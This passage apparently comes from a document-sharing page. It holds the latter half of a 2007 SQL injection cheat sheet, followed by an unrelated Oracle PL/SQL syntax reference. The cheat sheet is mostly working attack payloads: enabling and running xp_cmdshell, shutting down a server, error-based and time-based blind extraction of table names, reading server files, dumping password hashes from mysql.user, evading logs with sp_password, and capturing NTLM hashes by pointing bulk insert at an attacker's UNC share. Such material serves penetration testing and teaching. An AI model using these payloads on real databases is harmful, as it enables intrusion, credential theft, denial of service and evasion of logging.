   5.  ODBC Resources (xp_enumdsn)
   6.  Login mode (xp_loginconfig)
   7.  Creating Cab Files (xp_makecab)
   8.  Domain Enumeration (xp_ntsec_enumdomains)
   9.  Process Killing (need PID) (xp_terminate_process)
   10. Add new procedure (virtually you can execute whatever you want)
       sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
       exec xp_webserver
   11. Write text file to a UNC or an internal path (sp_makewebtask)

MSSQL Bulk Notes

SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/

DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0)
SELECT 0 ELSE SELECT 1/0

HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)

INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"

OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

You can not use sub selects in SQL Server Insert queries.

SQL Injection in LIMIT (M) or ORDER (MSO)

SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;

If injection is in second limit you can comment it out or use in your union injection
Shutdown SQL Server (S)

When you really pissed off, ';shutdown --

Enabling xp_cmdshell in SQL Server 2005

By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled
in SQL Server 2005. If you have admin access then you can enable these.

EXEC sp_configure 'show advanced options',1
RECONFIGURE

EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

Finding Database Structure in SQL Server (S)
Getting User defined Tables

SELECT name FROM sysobjects WHERE xtype = 'U'

Getting Column Names

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name =
'tablenameforcolumnnames')

Moving records (S)

      Modify WHERE and use NOT IN or NOT EXIST,
       ... WHERE users NOT IN ('First User', 'Second User')
       SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM
       members) -- very good one

      Using Dirty Tricks
       SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT
       (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x,
       name from sysobjects o) as p where p.x=3) as int

       Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i
       WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE
       o.xtype = 'U') as p where p.x=21




Fast way to extract data from Error Based SQL Injections in SQL Server (S)
';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM
syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND
name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--
Detailed Article : Fast way to extract data from Error Based SQL Injections

Blind SQL Injections
About Blind SQL Injections

In a quite good production application generally you can not see error responses on the page,
so you can not extract data through Union attacks or error based attacks. You have to do use
Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.

Normal Blind, You can not see a response in the page but you can still determine result of a
query from response or HTTP status code
Totally Blind, You can not see any difference in the output in any kind. This can be an injection
a logging function or similar. Not so common though.

In normal blinds you can use if statements or abuse WHERE query in injection (generally
easier), in totally blinds you need to use some waiting functions and analyze response times. For
this you can use WAIT FOR DELAY '0:0:10' in SQL Server, BENCHMARK() in MySQL,
pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.

Real and a bit Complex Blind SQL Injection Attack Sample

This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back
ended application and enumerating table names. This requests done for first char of the first table
name. SQL queries a bit more complex then requirement because of automation reasons. In we
are trying to determine an ascii value of a char via binary search algorithm.

TRUE and FALSE flags mark queries returned true or false.

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55
AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)>78--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55
AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)>103--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55
AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)<103--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55
AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)>89--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55
AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)<89--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55
AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)>83--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55
AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)<83--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55
AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)>80--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55
AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)<80--

Since both of the last 2 queries failed we clearly know table name's first char's ascii value is 80
which means first char is `P`. This is the way to exploit Blind SQL injections by binary search
algorithm. Other well known way is reading data bit by bit. Both can be effective in different
conditions.


Waiting For Blind SQL Injections

First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference.
Second, be careful while using times more than 20-30 seconds. database API connection or script
can be timeout.

WAIT FOR DELAY 'time' (S)

This is just like sleep, wait for spesified time. CPU safe way to make database wait.

WAITFOR DELAY '0:0:10'--

Also you can use fractions like this,

WAITFOR DELAY '0:0:0.51'

Real World Samples

      Are we 'sa' ?
       if (select user) = 'sa' waitfor delay '0:0:10'
      ProductID = 1;waitfor delay '0:0:10'--
      ProductID =1);waitfor delay '0:0:10'--
      ProductID =1';waitfor delay '0:0:10'--
      ProductID =1');waitfor delay '0:0:10'--
      ProductID =1));waitfor delay '0:0:10'--
      ProductID =1'));waitfor delay '0:0:10'--

BENCHMARK() (M)

Basically we are abusing this command to make MySQL wait a bit. Be careful you will consume
web servers limit so fast!

BENCHMARK(howmanytimes, do this)

Real World Samples

      Are we root ? woot!
       IF EXISTS (SELECT * FROM users WHERE username = 'root')
       BENCHMARK(1000000000,MD5(1))

      Check Table exist in MySQL
       IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))

pg_sleep(seconds) (P)

Sleep for supplied seconds.

      SELECT pg_sleep(10);
       Sleep 10 seconds.

Covering Tracks
SQL Server -sp_password log bypass (S)

SQL Server don't log queries which includes sp_password for security reasons(!). So if you add -
-sp_password to your queries it will not be in SQL Server logs (of course still will be in web
server logs, try to use POST if it's possible)

Clear SQL Injection Tests

These tests are simply good for blind sql injection and silent attacks.

   1. product.asp?id=4 (SMO)
         a. product.asp?id=5-1
         b. product.asp?id=4 OR 1=1

   2. product.asp?name=Book
         a. product.asp?name=Bo’%2b’ok
           b. product.asp?name=Bo’ || ’ok (OM)
           c. product.asp?name=Book’ OR ‘x’=’x

Some Extra MySQL Notes

      Sub Queries are working only MySQL 4.1+
      Users
          o SELECT User,Password FROM mysql.user;
      SELECT 1,1 UNION SELECT
       IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0)
       User,Password FROM mysql.user WHERE User = ‘root’;
      SELECT ... INTO DUMPFILE
          o Write query into a new file (can not modify existing files)
      UDF Function
          o create function LockWorkStation returns integer soname 'user32';
          o select LockWorkStation();
          o create function ExitProcess returns integer soname 'kernel32';
          o select exitprocess();
      SELECT USER();
      SELECT password,USER() FROM mysql.user;
      First byte of admin hash
           o    SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE
                user_group = 1;
      Read File
           o    query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,
                1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
      MySQL Load Data inifile
          o By default it’s not avaliable !
                      create table foo( line blob );
                       load data infile 'c:/boot.ini' into table foo;
                       select * from foo;
      More Timing in MySQL
      select benchmark( 500000, sha1( 'test' ) );
      query.php?user=1+union+select+benchmark(500000,sha1
       (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
      select if( user() like 'root@%', benchmark(100000,sha1('test')),
       'false' );
       Enumeration data, Guessed Brute Force
           o    select if( (ascii(substring(user(),1,1)) >> 7) & 1,
                benchmark(100000,sha1('test')), 'false' );

Potentially Useful MySQL Functions

      MD5()
       MD5 Hashing
      SHA1()
       SHA1 Hashing

      PASSWORD()
      ENCODE()
      COMPRESS()
       Compress data, can be great in large binary reading in Blind SQL Injections.
      ROW_COUNT()
      SCHEMA()
      VERSION()
       Same as @@version

Second Order SQL Injections

Basically you put an SQL Injection to some place and expect it's unfiltered in another action.
This is common hidden layer problem.

Name : ' + (SELECT TOP 1 password FROM users ) + '
Email : xx@xx.com

If application is using name field in an unsafe stored procedure or function, process etc. then it
will insert first users password as your name etc.

Forcing SQL Server to get NTLM Hashes

This attack can help you to get SQL Server user's Windows password of target server, but
possibly you inbound connection will be firewalled. Can be very useful internal penetration tests.
We force SQL Server to connect our Windows UNC Share and capture data NTLM session with
a tool like Cain & Abel.

Bulk insert from a UNC Share (S)
bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'

Check out Bulk Insert Reference to understand how can you use bulk insert.

References

Since these notes collected from several different sources within several years and personal
experiences, may I missed some references. If you believe I missed yours or someone else then
drop me an email (ferruh-at-mavituna.com), I'll update it as soon as possible.

      Lots of Stuff
           o Advanced SQL Injection In SQL Applications, Chris Anley
           o More Advanced SQL Injection In SQL Applications, Chris Anley
           o Blindfolded SQL Injection, Ofer Maor – Amichai Shulman
           o Hackproofing MySQL, Chris Anley
           o Database Hacker's Handbook, David Litchfield, Chris Anley, John Heasman, Bill Grindlay
           o Upstairs Team!

      MSSQL Related
          o MSSQL Operators - http://msdn2.microsoft.com/en-us/library/aa276846(SQL.80).aspx
         o   Transact-SQL Reference - http://msdn2.microsoft.com/en-
             us/library/aa299742(SQL.80).aspx
         o   String Functions (Transact-SQL) - http://msdn2.microsoft.com/en-
             us/library/ms181984.aspx
         o   List of MSSQL Server Collation Names - http://msdn2.microsoft.com/en-
             us/library/ms180175.aspx
         o   MSSQL Server 2005 Login Information and some other functions : Sumit Siddharth

     MySQL Related
         o Comments : http://dev.mysql.com/doc/
         o Control Flows - http://dev.mysql.com/doc/refman/5.0/en/control-flow-functions.html
         o MySQL Gotchas - http://sql-info.de/mysql/gotchas.htm
         o New SQL Injection Concept, Tonu Samuel

ChangeLog

     15/03/2007 - Public Release v1.0
     16/03/2007 - v1.1
         o Links added for some paper and book references
         o Collation sample added
         o Some typos fixed
         o Styles and Formatting improved
         o New MySQL version and comment samples
         o PostgreSQL Added to Ascii and legends, pg_sleep() added blind section
         o Blind SQL Injection section and improvements, new samples
         o Reference paper added for MySQL comments
     21/03/2007 - v1.2
         o BENCHMARK() sample changed to avoid people DoS their MySQL Servers
         o More Formatting and Typo
         o Descriptions for some MySQL Function
     30/03/2007 v1.3
         o Niko pointed out PotsgreSQL and PHP supports stacked queries
         o Bypassing second MD5 check login screens description and attack added
         o Mark came with extracting NTLM session idea, added
         o Detailed Blind SQL Exploitation added
     13/04/2007 v1.4 - Release
         o SQL Server 2005 enabling xp_cmdshell added (trick learned from mark)
         o Japanese version of SQL Injection Cheat Sheet released (v1.1)
Oracle PL/SQL Cheatsheet
                                     Symbols

      ; Semicolon.         Statement terminator

                           Attribute indicator (cursor attributes like %ISOPEN and
     % Percent sign        indirect declaration attributes like %ROWTYPE). Also used
                           as multibyte wildcard symbol, as in SQL.

   _ Single underscore     Single-byte wildcard symbol, as in SQL

                           Host variable indicator, such as :block.item in Oracle
         : Colon
                           Forms

   ** Double asterisk      Exponentiation operator

       < > and !=          Not equals"

  || Double vertical bar   Concatenation operator

       << and >>           Label delimiters

           :=              Assignment operator

           =>              Association operator for positional notation

            --             Double dash: single-line comment indicator

        /* and */          Beginning and ending multiline comment block delimiters

                                   Data Types.

                           Definition
    Database types
                           Used to store any number
       NUMBER
                           Used for storing text
 CHAR(N), VARCHAR2(N)
                           Oracle system date
         DATE
                           Stores large blocks of text
         LONG
                           Stores large blocks of binary data
      LONG RAW
                           Smaller binary data store
        ROWID
                           Uesd for row identifier
      MLSLABEL
                           Security label
                       DEC, DECIMAL, REAL, DOUBLE-PRECISION, INTEGER, INT,
                       SMALLINT, NATURAL, POSITIVE, NUMERIC, BINARY-
Non database types.
                       INTEGER, CHARACTER, VARCHAR, BOOLEAN, TABLE,
                       RECORD

                         PLSQL Module types

                       A non-formal function that can accept paremeters via
     Procedure
                       value or reference. Similar in form to a function.

                       A classical function that returns one value. Usually
     Function
                       contains declaration, execution and exception sections.

                       A library, consisting of a specification with
     Package           function/prototype signatures, and a body with actual
                       code. eg

      Trigger          Code attached to a table that fires on certian conditions.

                       Module Sections or Blocks

                       DECLARE
                       employee-id employee.empid%TYPE, pi CONSTANT
Variable Declaration
                       number := 3.14, ratio REAL,..
                       BEGIN..

                       .. BEGIN select * into my_employee
Executable Section     where employee.emid = 42;
                       END; ..

                       END;
Exception Handler.
                       EXCEPTIONS .. END;

                            Package Syntax

                       PACKAGE package_name
                       IS
                       [ declarations of variables and types ]
   Specification
                       [ specifications of cursors ]
                       [ specifications of modules ]
                       END [ package_name ];

                       PACKAGE BODY package_name
       Body            IS
                       [ declarations of variables and types ]
                       [ specification and SELECT statement of cursors ]
                           [ specification and body of modules ]
                           [ BEGIN
                           executable statements ]
                           [ EXCEPTION
                           exception handlers ]
                           END [ package_name ];

                                 Filename Extensions

 General SQL*Plus script   .sql

      Testing script       .tst

    Stored procedure       .sp

     Stored function       .sf

  Stored package body      spb

     Stored package
                           .sps
      specification

                           Implict cursor attributes.

      %NOTFOUND            True if fetch did not return row.

      %ROWCOUNT            Number of rows processed by this cursor

        %FOUND             Opposite of %NOTFOUND

        %ISOPEN            If currently open for processing then true.

                            Transaction processing

  Same Options as SQL      COMMIT, ROLLBACK, SAVEPOINT

  Transaction begins at
execution of first change of Rollbacks go to last COMMIT or SAVE_POINT
           data.

  DBMS_TRANSACTION         A package with functions for transaction control.

                                 Exception Handling

       Predefined          Relates to an oracle error. No need to invoke. Just catch.
                           EXCEPTION WHEN NO_DATA_FOUN THEN
                DBMS_OUTPUT.PUT_LINE('No data found');

                Need to be declared, tested and handled in their
                respective blocks.
                DECLARE My_salary_null EXCEPTION; ..
                EBGIN..
                IF my_emp_record.salary IS NULL THEN
                RAISE my_salary_null;
User defined.
                END IF;
                EXCEPTION..
                WHEN my_salary_null
                THEN DBMS_OUTPUT.PUT_LINE('Salary column was null
                for employee');
                END

                Associate a predefined error with a exception handler. eg
                to have my_salary_null catch Oracle error -1400
 Pragmas.
                DECLARE
                PRAGMA EXCEPTION INIT(my_salary_null, -1400);
                                    Control Flow
 IF..THEN..ELSE..ENDIF;       As usual.
           LOOP ..
 IF (condition) THEN EXIT
                              Equivalent to if (conition) then break;
           END IF;
       .. END LOOP:
 WHILE cond LOOP..END
                              while () {};
        LOOP;
 FOR var IN n..m LOOP ..
                              for thing in range(n,m) {}
       END LOOP;
                              Function call FUNCTION name (parameter type,..) ..body..
 EXECUTE function_name;
                              END:
                              Opens cursor, loops across until %NOTFOUND.
        Cursor for.
                              FOR variables IN cursor LOOP..END LOOP;
                              Explicit Cursor Handling
 Implict cursor named by
                              Think of it as a select statement that has a name.
        developer.
Implict cusror is called SQL IF SQL%NOTFOUND THEN ..
                              DECLARE CURSOR employee_crsr IS
Declaring an explicit cursor. SELECT empid, salary FROM employee
                              BEGIN ..
                              OPEN employee_cursor
                              LOOP
                              FETCH employee_cursor INTO my_empid, my_salary;
    Executing a cursor
                              EXIT WHEN employee_crsr%NOTFOUND;
                              ..do stuff..
                              ENDLOOP;
                              Obtains next record from cursor.Can fetch into individual
          FETCH
                              variables (as above) or a RECORD.
                             TYPE t_emp IS RECORD (T_Salary number, t_empid
                             number);
Declaring an explicit cursor my_emprec t_emp;
      using a record.        CURSOR employee_crsr IS
                             SELECT empid, salary
                             FROM employee;
                              OPEN employee_cursr;
                              LOOP
 Executing explicit cursror
                              FETCH emloyee_crsr INTO my_emprec
      using record.
                              EXIT WHEN employee_crsr%NOTFOUND;
                              IF my_emprec.t_empid ..
                              Declaring parameters to be used at OPEN time.
                              DECLARE .. CURSOR employee_crsr(low_end VARCHAR2,
                              high_end VARCHAR2) IS
    Cursor Parameters.
                              SELECT empid, salary FROM employee
                              WHERE substr(lastname,1,1) BETWEEN UPPER(low_end)
                              AND UPPER(high_end);
                       Common exceptions
                      Occurs when you attempt to close a cursor that has not
  INVALID_CURSOR
                      been opened.
                      Occurs when you attempt to open a cursor the second
CURSOR_ALREADY_OPEN
                      time
 DUP_VAL_ON_INDEX     Unique or primary key constraint violation
                      More than one row was opbtained by a single row
  TOO_MANY_ROWS       subquery, or another context when Oracle was expecting
                      one row.
    ZERO_DIVIDE       An attempt to divide by zero.
                      An attempt to FETCH a cursor into an incompatible
 ROWTYPE_MISMATCH
                      variable type.
  INVALID_NUMBER      An char type was referenced as a number.
      OTHERS          Special catchall exception.
                               Pragmas
                      Tells the compiler to associate a particular error number
   EXCEPTION_INIT     with an identifier you have declared as an exception in
                      your program.
                      Tells the compiler the purity level (freedom from side
RESTRICT_REFERENCES
                      effects) of a packaged program.
                      Tells the PL/SQL runtime engine that package-level data
                      should not persist between references to that data. See
 SERIALLY_REUSABLE
                      Chapter 25, Tuning PL/SQL Applications for more
                      information

				
DOCUMENT INFO
Shared By:
Categories:
Tags:
Stats:
views:113
posted:9/8/2012
language:English
pages:71